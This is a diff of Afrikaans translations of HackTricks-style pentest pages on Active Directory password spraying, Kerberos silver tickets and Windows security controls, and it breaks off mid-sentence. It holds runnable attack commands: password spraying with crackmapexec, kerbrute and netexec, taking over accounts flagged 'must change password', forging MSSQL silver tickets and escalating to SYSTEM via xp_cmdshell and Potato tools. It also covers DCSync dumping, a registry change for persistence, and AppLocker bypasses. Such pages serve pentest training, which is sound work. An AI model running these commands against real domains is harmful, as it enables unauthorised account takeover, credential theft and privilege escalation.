diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 370801842..b35115b72 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,7 +1,7 @@ -# Kerberos-authentisering +# Kerberos Verifikasie {{#include ../../banners/hacktricks-training.md}} -**Kyk na die wonderlike pos van:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Kyk na die fantastiese artikel by:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index a25fd4511..d11e55c6c 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Sodra jy verskeie **valid usernames** gevind het, kan jy die mees **common passwords** probeer (hou die password policy van die omgewing in gedagte) vir elkeen van die ontdekte gebruikers.\ -By **default** is die **minimum** **password** **length** **7**. +Sodra jy verskeie **geldige gebruikersname** gevind het, kan jy met elke ontdekte gebruiker die mees **algemene wagwoorde** probeer (hou die wagwoordbeleid van die omgewing in gedagte).\ +Die **standaard** **minimum** **wagwoord** **lengte** is **7**. -Lyste van common usernames kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lyste van algemene gebruikersname kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Let wel dat jy sommige rekeninge kan lockout as jy verskeie wrong passwords probeer (by default meer as 10). +Let wel dat jy **sommige rekeninge kan uitsluit as jy verskeie verkeerde wagwoorde probeer** (standaard meer as 10). -### Get password policy +### Kry wagwoordbeleid -As jy user credentials of 'n shell as 'n domain user het kan jy **get the password policy with**: +As jy inlogbewyse het of 'n shell as 'n domeingebruiker, kan jy **die wagwoordbeleid kry met**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation van Linux (of almal) +### Exploitation vanaf Linux (of alles) - Gebruik **crackmapexec:** ```bash @@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om lockouts te voorkom):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om lockouts te vermy):**_ ```bash spray.sh -smb ``` -- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVELEN - SOMS WERK DIT NIE +- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEEL; SOMS WERK DIT NIE ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- Met behulp van **rpcclient**: +- Met **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer en dit sal die wagwoordbeleid van die domein haal en pogings daarvolgens beperk): +- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer en sal die wagwoordbeleid van die domein haal en pogings daarvolgens beperk): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` +### Identifiseer en Oorneem "Password must change at next logon" Rekeninge (SAMR) + +’ n Lae-ruis-tegniek is om 'n onskadelike/leë wagwoord te spray en rekeninge wat STATUS_PASSWORD_MUST_CHANGE teruggee te vang. Dit dui aan dat die wagwoord gedwonge verval is en sonder om die ou wagwoord te ken verander kan word. + +Workflow: +- Enumereer gebruikers (RID brute via SAMR) om die teikenlys te bou: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +{{#endref}} +```bash +# NetExec (null/guest) + RID brute to harvest users +netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt +``` +- Spray 'n leë wagwoord en gaan voort op hits om rekeninge vas te vang wat by die volgende logon hul wagwoord moet verander: +```bash +# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results +netexec smb -u users.txt -p '' --continue-on-success +``` +- Vir elke treffer, verander die wagwoord oor SAMR met NetExec se module (geen ou wagwoord benodig wanneer "must change" gestel is nie): +```bash +# Strong complexity to satisfy policy +env NEWPASS='P@ssw0rd!2025#' ; \ +netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" + +# Validate and retrieve domain password policy with the new creds +netexec smb -u -p "$NEWPASS" --pass-pol +``` +Operasionele notas: +- Verseker jou host se klok is gesinchroniseer met die DC voordat Kerberos-gebaseerde operasies uitgevoer word: `sudo ntpdate `. +- ’n [+] sonder (Pwn3d!) in sommige modules (bv. RDP/WinRM) beteken dat die creds geldig is, maar die account nie interaktiewe aanmeldregte het nie. + ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying verminder geraas teen SMB/NTLM/LDAP bind-pogings en stem beter ooreen met AD se lockout-beleid. SpearSpray kombineer LDAP-gedrewe targeting, 'n patroon-enjin, en beleidsbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook gekompromitteerde principals in Neo4j tag vir BloodHound pathing. +Kerberos pre-auth–based spraying verminder geraas vs SMB/NTLM/LDAP bind attempts en pas beter by AD lockout policies. SpearSpray koppel LDAP-driven targeting, 'n patroon-enjin, en beleidsbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook compromised principals in Neo4j tag vir BloodHound pathing. Key ideas: -- LDAP-gebruikersontdekking met paging en LDAPS-ondersteuning, opsioneel met aangepaste LDAP-filters. -- Domain lockout policy + PSO-aware filtering om 'n konfigureerbare poging-buffer (threshold) oor te laat en te voorkom dat gebruikers geblokkeer word. -- Kerberos pre-auth validering met vinnige gssapi bindings (genereer 4768/4771 op DCs in plaas van 4625). -- Patroon-gebaseerde, per-gebruiker wagwoordgenerering met veranderlikes soos name en temporale waardes afgelei van elke gebruiker se pwdLastSet. -- Deursetbeheer met threads, jitter, en maksimum versoeke per sekonde. -- Opsionele Neo4j-integrasie om owned users vir BloodHound te merk. +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Domain lockout policy + PSO-aware filtering om 'n konfigureerbare attempt buffer (threshold) oor te laat en te voorkom dat gebruikers vergrendel word. +- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. +- Throughput control with threads, jitter, and max requests per second. +- Optional Neo4j integration to mark owned users for BloodHound. -Basic usage and discovery: +Basiese gebruik en ontdekking: ```bash # List available pattern variables spearspray -l @@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Teiken- en patroonbeheer: +Teiken en patroonbeheer: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Stealth en veiligheidskontroles: +Stealth- en veiligheidskontroles: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -144,27 +176,27 @@ Oorsig van die patroonstelsel (patterns.txt): ``` Beskikbare veranderlikes sluit in: - {name}, {samaccountname} -- Tydelike waardes vanaf elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Samestellingshelpers en org token: {separator}, {suffix}, {extra} +- Tydsafhanklik vanaf elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Samestellinghelpers en org token: {separator}, {suffix}, {extra} -Bedryfsnotas: +Operasionele notas: - Gee voorkeur aan navraag by die PDC-emulator met -dc om die mees gesaghebbende badPwdCount en beleidverwante inligting te lees. -- badPwdCount-herstellings word geaktiveer by die volgende poging na die waarnemingsvenster; gebruik drempel en tydsberekening om veilig te bly. -- Kerberos pre-auth pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te pas. +- badPwdCount-resette word op die volgende poging ná die waarnemingsvenster geaktiveer; gebruik drempel en tydsberekening om veilig te bly. +- Kerberos pre-auth pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te meng. -> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Wenk: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access Daar is verskeie gereedskap vir p**assword spraying outlook**. - Met [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- Met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Met [Ruler](https://github.com/sensepost/ruler) (betroubaar!) - Met [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Met [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Om enige van hierdie gereedskap te gebruik, benodig jy 'n user list en 'n password / 'n klein lys van passwords om te spray. +Om enige van hierdie gereedskap te gebruik, het jy 'n gebruikerslys en 'n password / 'n klein lys passwords nodig om te spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -194,6 +226,7 @@ Om enige van hierdie gereedskap te gebruik, benodig jy 'n user list en 'n passwo - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) +- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 1c5d8c218..9d8153e5c 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,14 @@ ## Silver ticket -Die **Silver Ticket** aanval behels die uitbuiting van dienskaartjies in Active Directory (AD) omgewings. Hierdie metode staat op **die verkryging van die NTLM-hash van 'n diensrekening**, soos 'n rekenaarrekening, om 'n Ticket Granting Service (TGS) kaartjie te vervals. Met hierdie vervalste kaartjie kan 'n aanvaller toegang verkry tot spesifieke dienste op die netwerk, **om enige gebruiker na te boots**, tipies met die doel om administratiewe regte te verkry. Dit word beklemtoon dat die gebruik van AES sleutels vir die vervalsing van kaartjies veiliger en minder opspoorbaar is. +Die **Silver Ticket**-aanval behels die misbruik van service tickets in Active Directory (AD) omgewings. Hierdie metode berus op die **verkryging van die NTLM hash van 'n service account**, soos 'n rekenaarrekening, om 'n Ticket Granting Service (TGS) ticket te vervals. Met hierdie vervalste ticket kan 'n aanvaller toegang kry tot spesifieke dienste op die netwerk, **optree as enige gebruiker**, gewoonlik met die doel om administratiewe voorregte te bekom. Dit word beklemtoon dat die gebruik van AES-sleutels om tickets te vervals veiliger en minder opspoorbaar is. > [!WARNING] -> Silver Tickets is minder opspoorbaar as Golden Tickets omdat hulle net die **hash van die diensrekening** vereis, nie die krbtgt rekening nie. Hulle is egter beperk tot die spesifieke diens wat hulle teiken. Boonop, net om die wagwoord van 'n gebruiker te steel. -Boonop, as jy 'n **rekening se wagwoord met 'n SPN** kompromitteer, kan jy daardie wagwoord gebruik om 'n Silver Ticket te skep wat enige gebruiker na daardie diens naboots. +> Silver Tickets is minder opspoorbaar as Golden Tickets omdat hulle slegs die **hash van die service account** benodig, nie die krbtgt-rekening nie. Hulle is egter beperk tot die spesifieke diens waarop hulle gemik is. As jy die **wagwoord van 'n rekening met 'n SPN** kompromitteer, kan jy daardie wagwoord gebruik om 'n Silver Ticket te skep wat as enige gebruiker na daardie diens optree. -Vir kaartjie-ontwikkeling word verskillende gereedskap gebruik, gebaseer op die bedryfstelsel: +Vir die vervaardiging van tickets word verskillende tools gebruik, afhangend van die bedryfstelsel: -### On Linux +### Op Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -37,57 +36,88 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -Die CIFS-diens word uitgelig as 'n algemene teiken om toegang tot die slagoffer se lêerstelsel te verkry, maar ander dienste soos HOST en RPCSS kan ook uitgebuit word vir take en WMI-vrae. +Die CIFS-diens word uitgelig as 'n algemene teiken om toegang tot die slagoffer se lêerstelsel te verkry, maar ander dienste soos HOST en RPCSS kan ook uitgebuit word vir opdragte en WMI-navrae. + +### Voorbeeld: MSSQL service (MSSQLSvc) + Potato to SYSTEM + +Indien jy die NTLM-hash (of AES key) van 'n SQL service account (bv. sqlsvc) het, kan jy 'n TGS vir die MSSQL SPN vervals en enige gebruiker teenoor die SQL service imiteer. Van daar, skakel xp_cmdshell aan om opdragte as die SQL service account uit te voer. As daardie token SeImpersonatePrivilege het, ketting 'n Potato om na SYSTEM te eskaleer. +```bash +# Forge a silver ticket for MSSQLSvc (RC4/NTLM example) +python ticketer.py -nthash -domain-sid -domain \ +-spn MSSQLSvc/:1433 administrator +export KRB5CCNAME=$PWD/administrator.ccache + +# Connect to SQL using Kerberos and run commands via xp_cmdshell +impacket-mssqlclient -k -no-pass /administrator@:1433 \ +-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" +``` +- As die resulterende konteks SeImpersonatePrivilege het (dikwels waar vir service accounts), gebruik 'n Potato-variant om SYSTEM te kry: +```bash +# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato +PrintSpoofer.exe -c "cmd /c whoami" +# or +GodPotato -cmd "cmd /c whoami" +``` +Meer besonderhede oor die misbruik van MSSQL en die aktivering van xp_cmdshell: + +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + +Potato techniques oorsig: + +{{#ref}} +../windows-local-privilege-escalation/roguepotato-and-printspoofer.md +{{#endref}} ## Beskikbare Dienste -| Diens Tipe | Diens Silver Tickets | -| ------------------------------------------ | ------------------------------------------------------------------------- | -| WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Afhangende van OS ook:

WSMAN

RPCSS

| +| Service Type | Service Silver Tickets | +| ------------------------------------------ | -------------------------------------------------------------------------- | +| WMI |

HOST

RPCSS

| +| PowerShell Remoting |

HOST

HTTP

Afhangend van die OS ook:

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

In sommige gevalle kan jy net vra vir: WINRM

| -| Geplande Take | HOST | -| Windows Lêer Deel, ook psexec | CIFS | -| LDAP operasies, ingesluit DCSync | LDAP | -| Windows Remote Server Administrasie Gereedskap |

RPCSS

LDAP

CIFS

| -| Goue Tickets | krbtgt | +| Scheduled Tasks | HOST | +| Windows File Share, also psexec | CIFS | +| LDAP operations, included DCSync | LDAP | +| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| +| Golden Tickets | krbtgt | -Met **Rubeus** kan jy **vra vir al** hierdie kaarte met die parameter: +Using **Rubeus** you may **ask for all** these tickets using the parameter: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Silver tickets Gebeurtenis ID's +### Silver tickets Gebeurtenis-ID's -- 4624: Rekening Aanmelding -- 4634: Rekening Afmelding -- 4672: Admin Aanmelding +- 4624: Rekening aanmelding +- 4634: Rekening afmelding +- 4672: Administrateur aanmelding -## Volharding +## Persistensie -Om te verhoed dat masjiene hul wagwoord elke 30 dae draai, stel `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` of jy kan `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` op 'n groter waarde as 30 dae stel om die draai periode aan te dui wanneer die masjien se wagwoord gedraai moet word. +Om te voorkom dat masjiene hul wagwoord elke 30 dae roteer, stel `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` of jy kan `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` instel op 'n groter waarde as 30 dae om die roteringsperiode aan te dui wanneer die masjien se wagwoord geroteer moet word. -## Misbruik van Diens kaarte +## Misbruik van Service tickets -In die volgende voorbeelde kom ons veronderstel dat die kaart verkry is deur die administrateur rekening na te doen. +In die volgende voorbeelde kom ons veronderstel dat die ticket verkry is deur die administrateurrekening na te boots. ### CIFS -Met hierdie kaart sal jy in staat wees om toegang te verkry tot die `C$` en `ADMIN$` gids via **SMB** (as hulle blootgestel is) en lêers na 'n deel van die afstand lêerstelsel te kopieer deur iets soos te doen: +Met hierdie ticket sal jy toegang hê tot die `C$` en `ADMIN$` vouer via **SMB** (as dit blootgestel is) en lêers na 'n deel van die afgeleë lêerstelsel kan kopieer deur iets soos die volgende te doen: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -U sal ook in staat wees om 'n shell binne die gasheer te verkry of arbitrêre opdragte uit te voer met behulp van **psexec**: - +Jy sal ook 'n shell binne die host kan verkry of arbitrêre opdragte kan uitvoer met **psexec**: {{#ref}} ../lateral-movement/psexec-and-winexec.md {{#endref}} -### GASHER +### HOST -Met hierdie toestemming kan u geskeduleerde take in afstandrekenaars genereer en arbitrêre opdragte uitvoer: +Met hierdie toestemming kan jy geskeduleerde take op afgeleë rekenaars skep en arbitrêre opdragte uitvoer: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -101,7 +131,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Met hierdie kaartjies kan jy **WMI in die slagoffer se stelsel uitvoer**: +Met hierdie tickets kan jy **WMI in die slagoffer se stelsel uitvoer**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -113,24 +143,26 @@ wmic remote.computer.local list full /format:list ``` Vind **meer inligting oor wmiexec** in die volgende bladsy: + {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} ### HOST + WSMAN (WINRM) -Met winrm toegang oor 'n rekenaar kan jy **dit toegang** en selfs 'n PowerShell kry: +Met winrm-toegang op 'n rekenaar kan jy daarby **toegang kry** en selfs 'n PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Kontrollere die volgende bladsy om **meer maniere te leer om met 'n afstandsbediener te verbind met winrm**: +Check the following page to learn **more ways to connect with a remote host using winrm**: + {{#ref}} ../lateral-movement/winrm.md {{#endref}} > [!WARNING] -> Let daarop dat **winrm aktief en luisterend moet wees** op die afstandsrekenaar om toegang te verkry. +> Let wel dat **winrm aktief moet wees en moet luister** op die afgeleë rekenaar om toegang daartoe te kry. ### LDAP @@ -138,7 +170,7 @@ Met hierdie voorreg kan jy die DC-databasis dump met **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**Leer meer oor DCSync** in die volgende bladsy: +**Lees meer oor DCSync** op die volgende bladsy: {{#ref}} @@ -151,6 +183,7 @@ dcsync.md - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) +- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index e3a0f6af1..28cdf267a 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,17 +1,17 @@ -# Windows Security Controls +# Windows Sekuriteitskontroles {{#include ../../banners/hacktricks-training.md}} ## AppLocker Beleid -'n Aansoek witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel te loop. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie ooreenstem met die spesifieke besigheidsbehoeftes van 'n organisasie nie. +'n Aansoek-witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om op 'n stelsel teenwoordig te wees en uitgevoer te word. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie in lyn is met die spesifieke sakebehoeftes van 'n organisasie nie. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter aansoeke en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte aansoeke, en verpakte aansoek-installeerders.\ -Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe blokkeer** en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek-witlys-oplossing** en gee stelselsadministrateurs beheer oor **watter toepassings en lêers gebruikers kan uitvoer**. Dit bied **gedetailleerde beheer** oor executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.\ +Dit is algemeen dat organisasies **block cmd.exe and PowerShell.exe** en skryftoegang tot sekere gidse beperk, **maar dit alles kan omseil word**. -### Kontrole +### Check -Kontrole watter lêers/uitbreidings op die swartlys/witlys is: +Kontroleer watter lêers/uitbreidings swartlys/witlys is: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Hierdie registerpad bevat die konfigurasies en beleide wat deur AppLocker toegepas word, wat 'n manier bied om die huidige stel reëls wat op die stelsel afgedwing word, te hersien: +Hierdie registerpad bevat die konfigurasies en beleide wat deur AppLocker toegepas word, en bied 'n manier om die huidige stel reëls wat op die stelsel afgedwing word, te hersien: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- Nuttige **Skryfbare vouers** om die AppLocker-beleid te omseil: As AppLocker toelaat om enigiets binne `C:\Windows\System32` of `C:\Windows` uit te voer, is daar **skryfbare vouers** wat jy kan gebruik om **dit te omseil**. +- Useful **skryfbare vouers** to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside `C:\Windows\System32` or `C:\Windows` there are **skryfbare vouers** you can use to **bypass this**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Gewoonlik **vertroude** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries kan ook nuttig wees om AppLocker te omseil. +- Dikwels **vertroude** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries kan ook nuttig wees om AppLocker te omseil. - **Sleg geskryfde reëls kan ook omseil word** -- Byvoorbeeld, **``**, jy kan 'n **map genaamd `allowed`** enige plek skep en dit sal toegelaat word. -- Organisasies fokus ook dikwels op **die blokkeer van die `%System32%\WindowsPowerShell\v1.0\powershell.exe` uitvoerbare lêer**, maar vergeet van die **ander** [**PowerShell uitvoerbare plekke**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) soos `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` of `PowerShell_ISE.exe`. -- **DLL afdwinging is baie selde geaktiveer** weens die ekstra las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat benodig word om te verseker dat niks sal breek nie. So, die gebruik van **DLL's as agterdeure sal help om AppLocker te omseil**. -- Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **Powershell** kode in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, kyk: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- Byvoorbeeld, **``**, jy kan 'n **gids met die naam `allowed`** enige plek skep en dit sal toegelaat word. +- Organisasies fokus ook dikwels op die **blokkeer van die `%System32%\WindowsPowerShell\v1.0\powershell.exe` uitvoerbare**, maar vergeet van die **ander** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) soos `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` of `PowerShell_ISE.exe`. +- **DLL enforcement word baie selde geaktiveer** weens die bykomende las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat nodig is om te verseker dat niks sal breek nie. Dus sal die gebruik van **DLLs as backdoors** help om AppLocker te omseil. +- Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **execute Powershell** kode in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, kyk: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Kredensiaal Berging +## Kredensiële berging -### Sekuriteitsrekeningbestuurder (SAM) +### Security Accounts Manager (SAM) -Plaaslike kredensiale is teenwoordig in hierdie lêer, die wagwoorde is gehasht. +Plaaslike kredensiële is in hierdie lêer teenwoordig; die wagwoorde is gehash. -### Plaaslike Sekuriteitsowerheid (LSA) - LSASS +### Local Security Authority (LSA) - LSASS -Die **kredensiale** (gehasht) word **gestoor** in die **geheue** van hierdie subsisteem vir Enkel Teken Aan rede.\ -**LSA** bestuur die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikersregte...), **verifikasie**, **toegangstokens**...\ -LSA sal die een wees wat sal **kontroleer** vir verskafde kredensiale binne die **SAM** lêer (vir 'n plaaslike aanmelding) en **praat** met die **domeinbeheerder** om 'n domein gebruiker te verifieer. +Die **kredensiële** (gehash) word **gestoor** in die **geheue** van hierdie subsisteem vir Single Sign-On redes.\ +**LSA** administreer die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikerstoestemmings...), **authentication**, **access tokens**...\ +LSA sal die een wees wat die verskafde kredensiële binne die **SAM**-lêer sal **kontroleer** (vir 'n plaaslike aanmelding) en met die **domain controller** sal **praat** om 'n domeingebruiker te verifieer. -Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontcijferbare wagwoorde. +Die **kredensiële** word **gestoor** binne die **proses LSASS**: Kerberos-kaartjies, NT- en LM-hashe, wagwoorde wat maklik gedekripteer kan word. -### LSA geheime +### LSA secrets -LSA kan sekere kredensiale op skyf stoor: +LSA kan sekere kredensiële op skyf stoor: -- Wagwoord van die rekenaarrekening van die 